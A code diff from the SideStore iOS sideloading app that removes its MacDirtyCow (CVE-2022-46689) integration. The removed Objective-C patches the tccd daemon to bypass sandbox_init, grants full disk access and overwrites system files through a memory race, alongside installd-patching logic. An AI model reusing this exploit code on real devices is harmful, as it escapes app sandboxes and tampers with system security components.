<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
<!--
#endif
-->
</dict>
</plist>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true />
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false />
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
</dict>
</plist>

View File

@@ -6,25 +6,21 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import SwiftUI
import Roxas
import EmotionalDamage
import minimuxer
import Roxas
import UIKit
import AltStoreCore
import UniformTypeIdentifiers
let pairingFileName = "ALTPairingFile.mobiledevicepairing"
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
{
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
private var didFinishLaunching = false
private var destinationViewController: UIViewController!
override var launchConditions: [RSTLaunchCondition] {
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
DatabaseManager.shared.start(completionHandler: completionHandler)
}
@@ -39,52 +35,27 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
return self.children.first
}
override func viewDidLoad()
{
override func viewDidLoad() {
defer {
if UnstableFeatures.enabled(.swiftUI) {
let rootView = RootView()
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
self.destinationViewController = UIHostingController(rootView: rootView)
} else {
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
}
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
}
super.viewDidLoad()
}
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
#if MDC
MDC.alertIfNotPatched()
#endif
#if !targetEnvironment(simulator)
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
self.showOnboarding()
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else {
self.showOnboarding(enabledSteps: [.pairing])
self.displayError("Device pairing file not found.")
return
}
start_minimuxer_threads(pf)
self.start_minimuxer_threads(pf)
#endif
}
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
navigationController.isNavigationBarHidden = true
navigationController.isModalInPresentation = true
self.present(navigationController, animated: true)
}
func fetchPairingFile() -> String? {
let filename = "ALTPairingFile.mobiledevicepairing"
@@ -98,14 +69,38 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8),
!contents.isEmpty {
!contents.isEmpty
{
print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
print("Loaded ALTPairingFile from Info.plist")
return plistString
} else {
// Show an alert explaining the pairing file
// Create new Alert
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
// Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
// Try to load it from a file picker
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
types.append(.xml)
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
// documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil)
})
// Add OK button to a dialog message
dialogMessage.addAction(ok)
// Present Alert to
self.present(dialogMessage, animated: true, completion: nil)
return nil
}
return nil
}
func displayError(_ msg: String) {
@@ -126,83 +121,83 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let data1 = try Data(contentsOf: urls[0])
let pairing_string = String(bytes: data1, encoding: .utf8)
if pairing_string == nil {
displayError("Unable to read pairing file")
self.displayError("Unable to read pairing file")
}
// Save to a file for next launch
let pairingFile = FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")
try pairing_string?.write(to: pairingFile, atomically: true, encoding: String.Encoding.utf8)
let filename = "ALTPairingFile.mobiledevicepairing"
let fm = FileManager.default
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
// Start minimuxer now that we have a file
start_minimuxer_threads(pairing_string!)
self.start_minimuxer_threads(pairing_string!)
} catch {
displayError("Unable to read pairing file")
self.displayError("Unable to read pairing file")
}
if (isSecuredURL) {
if isSecuredURL {
url.stopAccessingSecurityScopedResource()
}
controller.dismiss(animated: true, completion: nil)
}
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
}
func start_minimuxer_threads(_ pairing_file: String) {
target_minimuxer_address()
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
do {
try start(pairing_file, documentsDirectory)
} catch {
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
set_usbmuxd_socket()
#if false // Retries
var res = start_minimuxer(pairing_file: pairing_file)
var attempts = 10
while attempts != 0, res != 0 {
print("start_minimuxer `res` != 0, retry #\(attempts)")
res = start_minimuxer(pairing_file: pairing_file)
attempts -= 1
}
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
start_auto_mounter(documentsDirectory)
#else
let res = start_minimuxer(pairing_file: pairing_file)
#endif
if res != 0 {
self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
}
auto_mount_dev_image()
}
}
extension LaunchViewController
{
override func handleLaunchError(_ error: Error)
{
do
{
extension LaunchViewController {
override func handleLaunchError(_ error: Error) {
do {
throw error
}
catch let error as NSError
{
} catch let error as NSError {
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
let errorDescription: String
if #available(iOS 14.5, *)
{
if #available(iOS 14.5, *) {
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
errorDescription = errorMessages.joined(separator: "\n\n")
}
else
{
} else {
errorDescription = error.debugDescription
}
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
self.handleLaunchConditions()
}))
self.present(alertController, animated: true, completion: nil)
}
}
override func finishLaunching()
{
override func finishLaunching() {
super.finishLaunching()
guard !self.didFinishLaunching else { return }
AppManager.shared.update()
AppManager.shared.updatePatronsIfNeeded()
AppManager.shared.updatePatronsIfNeeded()
PatreonAPI.shared.refreshPatreonAccount()
// Add view controller as child (rather than presenting modally)
@@ -217,6 +212,37 @@ extension LaunchViewController
self.destinationViewController.view.alpha = 1.0
}
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
let last_rantime = previous_exploit_time as! Date
if last_rantime == bootTime() {
return print("exploit has ran this boot - \(last_rantime)")
}
}
self.runExploit()
}
self.didFinishLaunching = true
}
func runExploit() {
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
patch3AppLimit { result in
switch result {
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err {
case .NoFDA(let msg):
self.displayError("Failed to get full disk access: \(msg)")
return
case .FailedPatchd:
self.displayError("Failed to install patchd.")
return
}
}
}
}
}
}

View File

@@ -1,177 +0,0 @@
// Extension of MDC+AltStoreCore for the functionality AltStore uses
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
import Foundation
import AltStoreCore
extension MDC {
#if MDC
enum PatchError: LocalizedError {
case NoFDA(error: String)
case FailedPatchd
var failureReason: String? {
switch (self) {
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
}
}
}
static func patch3AppLimit() async throws {
#if !targetEnvironment(simulator)
let res: PatchError? = await withCheckedContinuation { continuation in
grant_full_disk_access { error in
if let error = error {
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
} else if !patch_installd() {
continuation.resume(returning: PatchError.FailedPatchd)
} else {
continuation.resume(returning: nil)
}
}
}
if let error = res {
throw error
}
#else
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
// throw MDC.PatchError.NoFDA(error: "This is a test error")
#endif
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
UserDefaults.shared.hasPatchedInstalldEver = true
}
static func alertIfNotPatched() {
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
UIApplication.alert(
title: L10n.Remove3AppLimitView.title,
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
Task {
do {
try await MDC.patch3AppLimit()
await UIApplication.alert(
title: L10n.Remove3AppLimitView.success
)
} catch {
await UIApplication.alert(
title: L10n.AsyncFallibleButton.error,
message: error.message()
)
}
}
}),
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
)
}
#endif
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
static var isSupported: Bool {
#if targetEnvironment(simulator)
true
#else
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
#endif
}
}
#if MDC
// enum WhitelistPatchResult {
// case success, failure
// }
//
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }
#endif

View File

@@ -1,33 +0,0 @@
//
// MDC+AltStoreCore.swift
// AltStoreCore
//
// Created by naturecodevoid on 5/31/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import Foundation
// Parts of MDC we need in AltStoreCore
// TODO: destroy AltStoreCore
public class MDC {
#if MDC
public static var installdHasBeenPatched: Bool {
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
return lastInstalldPatchBootTime == bootTime()
}
#endif
}
#if MDC
public func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
#endif

View File

@@ -1,99 +0,0 @@
//
// Remove3AppLimitView.swift
// SideStore
//
// Created by naturecodevoid on 5/29/23.
// Copyright © 2023 SideStore. All rights reserved.
//
#if MDC
import SwiftUI
import AltStoreCore
fileprivate extension View {
func common() -> some View {
self
.padding()
.transition(.opacity.animation(.linear))
}
}
struct Remove3AppLimitView: View {
@ObservedObject private var iO = Inject.observer
@State var runningPatch = false
@State private var showErrorAlert = false
@State private var errorAlertMessage = ""
@State private var showSuccessAlert = false
@ViewBuilder
private var notSupported: some View {
Text(L10n.Remove3AppLimitView.notSupported)
}
@ViewBuilder
private var installdHasBeenPatched: some View {
Text(L10n.Remove3AppLimitView.alreadyPatched)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
@ViewBuilder
private var applyPatch: some View {
Text(L10n.Remove3AppLimitView.patchInfo)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
var body: some View {
VStack {
if !MDC.isSupported {
notSupported.common()
} else {
if MDC.installdHasBeenPatched {
installdHasBeenPatched.common()
} else {
applyPatch.common()
SwiftUI.Button(action: {
Task {
do {
guard !runningPatch else { return }
runningPatch = true
try await MDC.patch3AppLimit()
showSuccessAlert = true
} catch {
errorAlertMessage = error.message()
showErrorAlert = true
}
runningPatch = false
}
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
.padding()
}
}
Spacer()
}
.alert(isPresented: $showErrorAlert) {
Alert(
title: Text(L10n.AsyncFallibleButton.error),
message: Text(errorAlertMessage)
)
}
.alert(isPresented: $showSuccessAlert) {
Alert(
title: Text(L10n.Action.success),
message: Text(L10n.Remove3AppLimitView.success)
)
}
.navigationTitle(L10n.Remove3AppLimitView.title)
.enableInjection()
}
}
struct Remove3AppLimitView_Previews: PreviewProvider {
static var previews: some View {
Remove3AppLimitView()
}
}
#endif

View File

@@ -1,8 +0,0 @@
#ifdef MDC
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
bool patch_installd(void);
#endif /* MDC */

View File

@@ -1,612 +0,0 @@
#ifdef MDC
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_full_disk_access.h"
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct grant_full_disk_access_offsets {
uint64_t offset_addr_s_com_apple_tcc_;
uint64_t offset_padding_space_for_read_write_string;
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
uint64_t offset_auth_got__sandbox_init;
uint64_t offset_just_return_0;
bool is_arm64e;
};
static bool patchfind_sections(void* executable_map,
struct segment_command_64** data_const_segment_out,
struct symtab_command** symtab_out,
struct dysymtab_command** dysymtab_out) {
struct mach_header_64* executable_header = executable_map;
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_const_segment_out = segment;
}
break;
}
case LC_SYMTAB: {
*symtab_out = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dysymtab_out = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool patchfind(void* executable_map, size_t executable_length,
struct grant_full_disk_access_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_addr_s_com_apple_tcc_ =
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_padding_space_for_read_write_string =
patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->offset_auth_got__sandbox_init =
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
printf("no sandbox_init\n");
return false;
}
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
0) {
printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = executable_map;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
NSLog(@"xpc event handler: %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
"target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
NSLog(@"object is nil???");
completion(nil);
return;
}
NSLog(@"response: %@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
NSLog(@"xpc error?");
completion(nil);
return;
}
NSLog(@"debug description: %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
struct grant_full_disk_access_offsets offsets = {};
if (!patchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
}
{
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase targetRebase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary);
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
targetRebase;
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.offset_auth_got__sandbox_init) =
targetRebase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase targetRebase = {
.bind = 0,
.next = 2,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
targetRebase;
}
return data;
}
static bool overwrite_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unaligned_copy_switch_race(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patchTCCD(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
